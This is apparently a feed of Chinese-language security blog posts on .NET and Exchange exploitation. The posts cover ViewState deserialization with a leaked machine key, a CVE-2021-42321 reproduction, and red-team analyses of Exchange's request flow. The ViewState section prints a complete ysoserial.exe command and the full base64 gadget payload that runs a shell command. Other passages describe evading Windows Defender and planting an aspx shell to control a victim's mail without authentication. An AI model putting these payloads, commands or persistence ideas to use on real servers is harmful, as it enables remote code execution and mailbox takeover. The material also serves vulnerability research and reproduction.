需要做的事，只需要手动添加上VIEWSTATE 参数，payload 如上一个场景中一样传入，同样可以反序列化成功。

3、framework ≤4.0 (ViewState Mac is enabled)

环境

IIS（.net 4.0）

iis 中开启

设置自动生成密钥后应用。在 web 的根目录下生成 web.config。

假设 MAC 已为 ViewState 启用，并且由于本地文件读取、XXE 等漏洞，我们可以访问带有验证密钥和算法等配置的 web.config 文件，如上所示，我们可以使用 ysoserial.net 和通过提供验证密钥和算法作为参数来生成有效负载。

出于演示的目的，我们使用了具有以下代码库的示例应用程序，并假设由于任何文件读取漏洞，攻击者已经访问了 web.config 文件

注意 web.config 中的 enableViewStateMac="true" //以在 ViewState 中启用 MAC（消息验证码）enableEventValidation="false" //关闭与 ViewState 一起使用的不同加密/验证算法 前端 hello.aspx 文件内容

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>

http://www.w3.org/1999/xhtml">

    


    
        
                         Text="GO" class="btn"/>

hello.aspx.cs 文件内容

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
}
 protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
 }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

访问 hello.aspx 文件，

随便发送内容抓取 post 数据包，可以看到 mac enabled 配置内容， ViewState MAC 已启用。

如果我们注意到下面的 POST 请求，可以看到请求中没有“_VIEWSTATEGENERATOR”参数。此时，我们需要将应用程序路径和路径变量作为参数提供给 ysoserial。
但是，如果我们在 HTTP 请求中有 _VIEWSTATEGENERATOR 参数，我们可以直接将其值提供给 ysoserial 以生成有效负载。

ysoserial生成 payload，这里的--path 需要指定一个服务器上存在的文件，同时--apppath 的虚拟目录也需要注意。

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/admin.aspx" --apppath="/" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --isdebug --islegacy

执行结果:

simulateTemplateSourceDirectory returns: /
simulateGetTypeName returns: admin_aspx
Calculated pageHashCode in uint: 1732672259
Calculated __VIEWSTATEGENERATOR (ignored): 67467B03
/wEy3xEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAJi9jIGVjaG8gMTIzID4gYzpcd2luZG93c1x0ZW1wXHRlc3QudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgtoJOCD/P8c+Yl+rO9B6VkNhbceOA==

增加VIEWSTATEGENERATOR=67467B03 至 POST 请求包中，替换VIEWSTATE=参数为生成的 payload，具体如下。
（需要注意的是，ysoserial 生成的 payload 需要进行一次 url 编码再传给__VIEWSTATE 参数）

成功执行命令。

4、Target framework ≤4.0 (Encryption is enabled for ViewState)

在 .NET 4.5 之前，ASP.NET 可以接受来自用户的未加密**VIEWSTATE 参数，即使 ViewStateEncryptionMode 已设置为 Always。
ASP.NET 仅检查请求中是否存在 **VIEWSTATEENCRYPTED 参数。如果删除此参数，并发送未加密的有效载荷，发序列化依旧会触发。

坑

这里一开始访问的文件名为 1.aspx，同时 ysoserial 生成的 payload 的参数也是使用 1.aspx 作为参数--path 的值，但是这样的方式并不能利用成功，反之修改 1.aspx 的文件名为 admin.aspx 则可以正常触发。
也就是数字的文件名无法触发反序列化链，这个问题的产生仍旧没有解决。

5、framework is ≥.NET 4.5

通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架 compatibilityMode="Framework45

与 case4 相同

参考文章

https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
https://notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net

阅读原文

跳转微信打开

DotNet安全-CVE-2021-42321漏洞复现

Sun, 09 Oct 2022 09:10:00 +0800

原创 7bits安全团队 2022-10-09 09:10 江苏

该漏洞主要是由于开发者使用SerializationBinder后的逻辑判断有问题，同时配合exchange不那么严格的反序列化黑名单，造成了认证后的RCE。

DotNet安全-CVE-2021-42321漏洞复现

引言

该漏洞主要是由于开发者使用SerializationBinder后的逻辑判断有问题，同时配合exchange不那么严格的反序列化黑名单，造成了认证后的RCE。

影响范围

大约是21年下半年更新的exchange2016及2019。

基础知识

了解SerializationBinder：

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
 
 
namespace deserialDemo
{
    class Program
    {
        static void Main(string[] args)
        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MemoryStream memoryStream = new MemoryStream();
            RCE calc = new RCE("calc");
            binaryFormatter.Serialize(memoryStream, calc);
 
            memoryStream.Position = 0;
            binaryFormatter.Binder = new MyBinder();
            object v = binaryFormatter.Deserialize(memoryStream);
            Console.WriteLine(v);
            Console.ReadKey();
 
        }
    }
    [Serializable]
    class RCE
    {
        public string cmd;
 
        public RCE(string cmd)
        {
            this.cmd = cmd;
        }
 
        public override string ToString()
        {
            return $"exec cmd:{cmd}";
        }
    }
    class MyBinder : SerializationBinder
    {
        public override Type BindToType(string assemblyName, string typeName)
        {
            Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");
            Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
 
            if (typeToDeserialize.Equals(typeof(RCE)))
            {
                Console.WriteLine("can't deseriliza rce class.");
                throw new Exception("error");
            }
            return typeToDeserialize;
        }
    }
}

在MyBinder 里实现具体逻辑，判断即将要被反序列化的类的Type-typeToDeserialize是否等于typeof(RCE)。

在反序列化之前，设置binaryFormatter.Binder = new MyBinder();

尝试反序列化，被阻止，弹出异常：

反序列化触发点

C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Compliance.dll中的Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter的DeserializeObject方法：

传入SerializationBinder实例但没有被使用

通过CreateBinaryFormatter生成BinaryFormatter对象:

其中初始化的时候指定了Binder，为ChainedSerializationBinder函数的结果：

此时传入的参数为：

strictMode = false

allowList = "System.DelegateSerializationHolder"

allowedGenerics = null

ChainedSerializationBinder重写了父类SerializationBinder的BindToType和BindToName方法

进入ValidateTypeToDeserialize函数

!this.strictMode=true 此时默认情况为真。

this.allowedTypesForDeserialization.Contains(text) 此时allowedTypesForDeserialization是我们传入的"System.DelegateSerializationHolder"，text为即将被反序列化的类的类名。

ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization为反序列化的黑名单：

此时flag=this.strictMode为false：

此时抛出的BlockedDeserializationException 异常会被捕获，因为flag=false，整个ChainedSerializationBinder不会抛出异常。因此可以造成不在黑名单中的任意类的反序列化。如果进入InvalidOperationException就会直接进入异常，不会进入反序列化的逻辑。

触发反序列化

寻找使用DeserializeObject函数的地方：

ClientExtensionCollectionFormatter没找到相关的调用，查看继承的接口在哪里实现：

发现TryDeserialize方法：

发现来自UserConfiguration，在exchange2010的反序列化漏洞中通过ews设置账户属性进行触发。这里我们只要找到一个属性可以设置为binary的地方就可能触发。

Microsoft.Exchange.Data.Storage.UserConfiguration:

可以看到UserConfiguration的类型有xml形式：

接下来就是怎么通过ews设置用户设置，主要是如何传递二进制的问题，网上已经有人审计的ews找到了解决办法，在我们前面的文章也提及过如何找到xml对应的类：

设置完反序列化之后需要触发：

通过获取用户ExtesionDataList触发，通过ews调用此接口：

至此我们获得了完整的利用链。

Gadgates

TypeConfusedDelegate、ClaimsPrincipal及ActivitySurrogateSelector ，这三个链没有在这个版本exchange的黑名单中。ActivitySurrogateSelector 可以直接执行dll文件，但在exchange上会报错。

关于反序列化链的研究以后的文章再详细分析。

Bypass Windows Definder

实际在利用的过程中遇到的500错误，之前朋友在利用的时候遇到过，应该是w3wp进程启动进程被Definder拦截了。这样的话只要修改ysoserial的代码功能为写文件即可利用。

关于如何绕过definder阻止启动新进程的方式，以后会有相关的文章专题。

测试

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "1" -t

成功生成文件

前面修改了以下poc xml中的ExtensionMasterTable就发现漏洞不能顺利触发，能创建配置但调用会失败。

在最终利用的地方Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer的TryDeserialize函数中，要被反序列化的实例userConfiguration的configName为ExtensionMasterTable：

反序列化触发已经限制死了配置名为ExtensionMasterTable的配置。

修复

KB5007409得到修复，最终反序列化的地方：

此处this.formatter为IClientExtesionCollectionFormatter的实现，仅剩Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) : Collection

POC及修改过的ysoseial.net

https://github.com/DarkSprings/CVE-2021-42321 https://github.com/7BitsTeam/exch_CVE-2021-42321

参考：

https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852

阅读原文

跳转微信打开

DotNet安全-Exchange请求流程分析(二)

Sat, 08 Oct 2022 09:10:00 +0800

原创 7bits安全团队 2022-10-08 09:10 江苏

在研究exchange反序列化漏洞之前，我们知道这几个漏洞都是通过ews接口设置账户属性为二进制数据后触发的反序列化。ews是exchange提供给用户的webservice接口，包含了绝大多数的用户功能，研究ews的业务逻辑还是很有必要的

DotNet安全-Exchange请求流程分析(二)

引言

在研究exchange反序列化漏洞CVE-2021–42321、CVE-2020-17144和CVE-2018-8302之前，我们知道这几个漏洞都是通过ews接口设置账户属性为二进制数据后触发的反序列化。ews是exchange提供给用户的webservice接口，包含了绝大多数的用户功能，研究ews的业务逻辑还是很有必要的。结合前一篇文章，本篇主要介绍ews的后端处理部分。

WCF架构

wcf笔者个人的理解是一种基于http协议的RPC手段，类似于java中的jndi、rmi等等。主要为了实现分布式架构而产生的技术。

定义接口

using System;
using System.ServiceModel;
 
namespace GettingStartedLib
{
        [ServiceContract(Namespace = "http://Microsoft.ServiceModel.Samples")]
        public interface ICalculator
        {
            [OperationContract]
            double Add(double n1, double n2);
                  }
}

关键字OperationContract，看到这个就知道是服务的的接口。

实现接口

using System;
using System.ServiceModel;
 
namespace GettingStartedLib
{
    public class CalculatorService : ICalculator
    {
        public double Add(double n1, double n2)
        {
            double result = n1 + n2;
            Console.WriteLine("Received Add({0},{1})", n1, n2);
            // Code added to write output to the console window.
            Console.WriteLine("Return: {0}", result);
            return result;
        }
 
       }
}

修改配置文件

img

创建注册端点

using System;
using System.ServiceModel;
using System.ServiceModel.Description;
using GettingStartedLib;
 
namespace GettingStartedHost
{
    class Program
    {
        static void Main(string[] args)
        {
            // Step 1: Create a URI to serve as the base address.
            Uri baseAddress = new Uri("http://localhost:8000/GettingStarted/");
 
            // Step 2: Create a ServiceHost instance.
            ServiceHost selfHost = new ServiceHost(typeof(CalculatorService), baseAddress);
 
            try
            {
                // Step 3: Add a service endpoint.
                selfHost.AddServiceEndpoint(typeof(ICalculator), new WSHttpBinding(), "CalculatorService");
 
                // Step 4: Enable metadata exchange.
                ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
                smb.HttpGetEnabled = true;
                selfHost.Description.Behaviors.Add(smb);
 
                // Step 5: Start the service.
                selfHost.Open();
                Console.WriteLine("The service is ready.");
 
                // Close the ServiceHost to stop the service.
                Console.WriteLine("Press  to terminate the service.");
                Console.WriteLine();
                Console.ReadLine();
                selfHost.Close();
            }
            catch (CommunicationException ce)
            {
                Console.WriteLine("An exception occurred: {0}", ce.Message);
                selfHost.Abort();
            }
        }
    }
}

这是conoleApp的流程，实际web应用在web.config定义即可：

  
  
   
    
      
       
       
         
      
       
       
        
                 address="myAddress" binding="basicHttpBinding"
          bindingConfiguration="myBindingConfiguration1"  
          contract="MyContract"  />  
                 address="myAddress2" binding="basicHttpBinding"
          bindingConfiguration="myBindingConfiguration2"  
          contract="MyContract" />  
                 address="myAddress3" binding="basicHttpBinding"
          contract="MyContract" />

客户端调用

客户端配置：

 
    
        
            
            
        
        
            
                
                
                    
                
            
            
                
                http://localhost:8000/GettingStarted/CalculatorService"
                    binding="wsHttpBinding" bindingConfiguration="WSHttpBinding_ICalculator"
                    contract="ServiceReference1.ICalculator" name="WSHttpBinding_ICalculator">

调用:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using GettingStartedClient.ServiceReference1;
 
namespace GettingStartedClient
{
    class Program
    {
        static void Main(string[] args)
        {
            //Step 1: Create an instance of the WCF proxy.
            CalculatorClient client = new CalculatorClient();
 
            // Step 2: Call the service operations.
            // Call the Add service operation.
            double value1 = 100.00D;
            double value2 = 15.99D;
            double result = client.Add(value1, value2);
            Console.WriteLine("Add({0},{1}) = {2}", value1, value2, result);
        }
    }
}

EWS Module

在前面介绍过，在应用执行前先加载module：

web.config

BackendRehydrationModule

Microsoft.Exchange.Security.Authentication.BackendRehydrationModule主要是exch后端鉴权的部分。

直接进入了TryGetCommonAccessToken，从header中获取CommonAccessToken

将token反序列化，存入httpContext.Items中

通过BackendAuthenticator.Rehydrate解析token

跟进，使用InternalRehydrate实现

该函数为抽象方法，实际由Microsoft.Exchange.Security.Authentication.WindowsAuthenticator.InternalRehydrate实现

从CommonAccessToken获取到了principal

随后进入TryHandleRehydratedIdentity函数，检查身份是否合规：

最终将令牌给httpContext.User

该模块主要功能是从FrontEnd提供的CommonAcessToken中提取出用户令牌。

WCF部分：

Exchange.asmx

<%@ServiceHost Service="Microsoft.Exchange.Services.Wcf.EWSService" Factory="Microsoft.Exchange.Services.Wcf.EWSServiceHostFactory" %>

img

EWSService实现了IEWSContract和IEWSStreamingContract，是wcf服务的具体实现。

img

网上简单搜了下，不知道怎么将asmx和wcf整合使用。从后面的了解来看感觉BackEnd既是wcf服务端也是wcf客户端。这块不明白对后面整个流程的梳理也没有什么问题。

ISAPI

对于.asmx，由isapi判断由Microsoft.Exchange.Services.DispatchPipe.Ews.EwsServiceHttpHandlerFactory负责处理：

img

EwsServiceHttpHandlerFactory继承自HttpHandlerFactoryBase，实现EWSSERVICE接口

img

HttpHandlerFactoryBase继承自IHttpHandlerFactory：

https://docs.microsoft.com/en-us/dotnet/api/system.web.ihttphandlerfactory.gethandler?view=netframework-4.8

根据微软例子，继承了IHttpHandlerFactory的HandlerFactory类，重写GetHandler方法。根据iis的配置：

比如path的文件名，提供不同的hanlder：

 public virtual IHttpHandler GetHandler(HttpContext context,
                                             String requestType,
                                             String url,
                                             String pathTranslated)
      {
         String fname = url.Substring(url.LastIndexOf('/')+1);
         String cname = fname.Substring(0, fname.IndexOf('.'));
         String className = "test." + cname;
 
         Object h = null;
 
         // Try to create the handler object.
         try
         {
            // Create the handler by calling class abc or class xyz.
            h = Activator.CreateInstance(Type.GetType(className));
         }
         catch(Exception e)
         {
            throw new HttpException("Factory couldn't create instance " +
                                    "of type " + className, e);
         }
         return (IHttpHandler)h;
      }

所以我们先看EwsServiceHttpHandlerFactory的GetHandler方法：

通过SelectOperation函数确定method，之后再生成对应的hanlder，我们看SelectOperation的逻辑：

总之就是解析xml里面的方法，之后创建service，实际上就是EWSservice的实例，再创建对应的hanlder

创建HTTPhanlder，所有的ews方法都是异步的，所以asynchanlder：

获得了Microsoft.Exchange.Services.DispatchPipe.Ews. EwsServiceHttpAsyncHandler的一个实例。

这里没法打断点，不知道为什么，如果asynchanlder实例获取失败了，就获取wcfHttpHanlder：

可以看到最终的hanlder为wcf的提供的功能：

System.ServiceModel.Activation.ServiceHttpHandlerFactory具体怎么实现的没有什么公开的文档，我们可以推测实际最后都是调用EWSservice里的方法，比如GetFolder：

对应方法会调用submit，一共三个参数，第一个调用上下文，应该包含身份信息等。第二个应该是成功后的回调，第三个不知道。我们比较关注callContext。

callContext由工厂类创建：

callContext生成过程非常复杂，以后再详细研究。

将三个参数传入submit准备调用，发现检查了一次Impersonate权限。测试从Negotiate认证获得的身份是system：

之后创建异步任务并调用：

进入 Microsoft.Exchange.Services.Core.Types.BaseServiceTask触发执行

走到Microsoft.Exchange.Services.Core.Types.ServiceTask的InternalExecute方法：

走到Microsoft.Exchange.Services.Core.BaseStepServiceCommand的InternalExecuteStep方法：

通过这个方法调用Microsoft.Exchange.Services.Core中各个类的Execute方法。

小结

这样就明了了，soap数据包中带的method与Microsoft.Exchange.Services.Core中的各个类是对应的。如要调用Microsoft.Exchange.Services.Core.GetFolder方法就应该在soap的method写GetFolder。请求的参数和Microsoft.Exchange.Services.Core.Types中的对象对应，如Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration：

img

对应的xml为：


http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  

  
  

  

  


  
  
  
%s

至此我们明白了从ews的soap如何对应到具体的函数逻辑，以及如何生成请求的xml。同时也知道的Common-AccessToken的验证流程。

总结

知道了对应soap的功能在哪里后，我们就可以针对功能去审计代码。同时可以反射调用这些功能，绕过目标的AV/EDR。

阅读原文

跳转微信打开

DotNet安全-Exchange请求流程分析(一)

Thu, 06 Oct 2022 09:00:00 +0800

原创 7bits安全团队 2022-10-06 09:00 江苏

红队行动中如果能控制目标的exchange服务器就离成功不远了。这两年几乎每隔一段时间都会有新的漏洞出现。研究这些漏洞之前我们需要对exchange整体的架构一个大体的了解，本文是笔者在了解exchange运行机制过程的一些简单记录。

DotNet安全-Exchange请求流程分析(一)

引言

红队行动中如果能控制目标的exchange服务器就离成功不远了。这两年几乎每隔一段时间都会有新的漏洞出现，包括proxy系列漏洞(CVE-2021-26855 、CVE-2021-34473 )、后台的反序列化漏洞(CVE-2021-42321 、CVE-2022-23277 )等。研究这些漏洞之前我们需要对exchange整体的架构一个大体的了解，本文是笔者在了解exchange运行机制过程的一些简单记录，这篇主要关注exchange ews frontend部分的工作原理。

exchange架构速览

exchange包括frontEnd和BackEnd两部分，从前端到后端的代理转发过程就是proxy系列漏洞出现的地方：

配置文件相关

首先查看iis的全局设置，配置文件为C:\Windows\System32\inetsrv\config\applicationHost.config。

与iis管理器中的对应，可以明显看到网站的物理路径以及应用池：

img

目录下并没有常规的aspx,ashx等文件，主要是一个web.config文件:

img

查看该文件，应用功能主要由这几个module实现：

img

moudle的具体申明在c#模块后门中有提及，主要格式为：

Name：模块名，任意值都可以

Type：第一个参数为命名空间+类名，第二个参数为dll的名字。PublicKeyToken为签名。

在web.config另一个配置项中的文件SharedWebConfig.config可以找到dll对应的物理路径：

img

开始调试

通过前面的了解，我们得知ews主要使用的应用池为MSExchangeServicesAppPool

几个module对应的dll：

Microsoft.Exchange.HttpUtilities.dll中的HostHeaderValidationModule和AnonymousRequestFilterModule
Microsoft.Exchange.FrontEndHttpProxy.dll中的ProxyModule

使用dnspy将进程挂到MSExchangeServicesAppPool的w3wp.exe进程上

HostHeaderValidationModule

该模块非关键业务逻辑，代码很少

主要判断请求头和ip，如果内网的请求去掉这几个头。

HttpRequestFilteringModule

读取服务器配置，判断是否开启AMSI，主要是安全方面的设置。比如基础的xss和sql注入防御。

AnonymousRequestFilterModule

只看到判断请求类型就返回401，没看到认证相关的逻辑。推测ntlm认证/basic认证的内容应该不在exchange实现，由iis实现。

可以看到ews接口默认支持windows认证：

ProxyModule

这是exchange frontend的关键逻辑部分，主要是这几个完成主要逻辑：

OnBeginRequest主要是对请求的一些处理，比如判断SSL等：![1661950375986]

OnAuthenticateRequest主要是用户身份相关的，主要是匿名用户相关的。

OnPostAuthenticateRequest，根据是否认证选择Hanlder:

在stackoverflow上老外过了这么一句侧面说明了Request.IsAuthenticated这个属性由iis决定：

it is valid no matter what type of authentication is being used (Windows, Passport, Forms or our own custom scheme)

根据协议的类型，实例化对应的webhandler：

调用Run函数

Run函数初始化AuthBehavior比较关键，和认证相关：

主要判断的当前的认证方式：

初始化hanlder后调用RemapHandler

该方法调用获取到传入hanlder的type:

通过MgdSetRemapHandler，将web交由此hanlder进行处理

接下来就看ews对应的handler-EwsProxyRequestHandler的业务逻辑，发现其没有普通的handler的ProcessRequest等方法。这里主要是对面对象的理解，有多重的继承关系

最终是ProxyRequestHandler类，继承了一堆接口：

IHttpAsyncHanlder:

启动新线程，调用BeginCalculateTargetBackEnd:

层层调用后进入BeginPorxyRequest，通过GetTargetBackEndServerUrl函数得到后端的uri：

GetTargetBackEndServerUrl主要使用GetTargetBackEndServerUrl函数获取url，增加了一些特殊情况的判断：

GetTargetBackEndServerUrl，获取到444端口上的后端url，这里也是proxy系列漏洞出问题的地方之一。

获取到uri后，使用CreateServerRequest生成对后端的请求：

CreateServerReques增加了一些请求头，PrepareServerRequest函数对请求包进行进一步处理：

PrepareServerRequest增加权限的判断，如果权限足够，生成kerberos认证头，如下

接着调用AddProtocolSpecificHeadersToServerRequest增加特殊的请求头：

CommonAccessToken比较关键，这个token怎么生成我们后面再详细聊。之后对这个CommonAccessToken的判断，若的system或者机器账户会报错。CommonAccessToken肯定包含用户的身份信息。

至此大致的代理请求生成完毕，根据客户端请求判断请求类型，调用BeginGetServerResponse发送：

经过回调最终调用OnResponseReady，主要是拿到异步请求的结果并赋值。

小结

至此我们理解了在用户请求到前端服务器之后，前端服务器代理用户请求到后端的过程。对exchange的运行机制有了简单的理解。总结以下几点：

1. exch都需要经过proxymodule，之后根据协议判断交由hanlder进行处理。
2. 401认证是iis部分实现的，主要是域认证。后续认证及权限控制exch有自己的一套实现。
3. CommonAccessToken、AuthBehavior及kerberos票据对于用户的认证及权限有很大的影响需要重点关注。

CommonAccessToken生成

ProxyRequestHanlder处，调用FixupCommonAccessToken生成token：

FixupCommonAccessToken最终调用CommonAccessToken，参数为当前用户令牌

可以看到当前身份令牌为Administrator，CommonAccessToken代表邮件用户的身份。

详细的生成流程位于CommonToken类：

在proxylogon的利用中已有生成CommonToken的实现：

kerberos票据生成

GenerateKerberosAuthHeader返回一个string,放入Authorization头：

进入 InitializeForOutboundNegotiate：

生成securityStatus并没有提供账户密码，使用的是AuthIdentity.Default：

继续调用，进入NegotiateSecurityContext，之后进入NegotiateGssapi

NegotiateSecurityContextInternal进行keberos票据生成：

这里没太明白，从proxy系列漏洞来看，前端到后端用的system机器权限。这部分权限确定不由commontoken控制，应该由此kerberos票据生成。参考orange团队的文章https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/中写的一段话：

Then the Backend will verify whether the request is equipped with an extended right called ms-Exch-EPI-Token-Serialization. With the default setting, only Exchange Machine Account would have such authorization. This is also why the Kerberos Ticket generated by the Frontend could pass the checkpoint but you can’t access the Backend directly with a low authorized account.

由此可见这个kerberos票据默认情况应该就是用机器的权限去生成的。

总结

在proxy系列漏洞已经被修复的大背景下，研究frontEnd的应用意义是我们可以自己生成到后端的请求。在控制了exchange的情况下，可以通过反射等技术实现exchange自身的功能，比如放一个aspxshell，该shell实现了一个不需要认证的ews接口。通过此接口可以进行下载邮件、赋权等操作。在没有启动新进程的情况下实现控制目标邮件的效果。

本文写于两个月之前，当时还没有proxyNotShell这个漏洞的信息，最近出现了这个0d的在野利用。推测除了利用的url和proxyshell一样外，增加了其余可控commonAccessToken的地方。具体登漏洞细节放出来后再做分析。

阅读原文

跳转微信打开

DotNet安全-IIS请求流程及渗透测试中的应用

Mon, 26 Sep 2022 08:55:00 +0800

原创 7Bits 2022-09-26 08:55 江苏

DotNet安全-IIS请求流程及渗透测试中的应用.

DotNet安全-IIS请求流程及渗透测试中的应用

引言

提及.net安全我们绕不开对iis的研究，复杂的.net应用往往除了像传统web应用有index.*或mvc中有路由控制器等概念存在，还包含module，hanlder，application等概念的存在。对于iis的配置也是比较复杂的。通过这篇文章，我们希望能明确iis是如何处理一个请求，并了解在请求的过程中有哪些技术可以在渗透测试中应用。微软官方给出的IIS Request Processing给出几点简单的说明，其中包含几个关键部分：

HTTP.sys

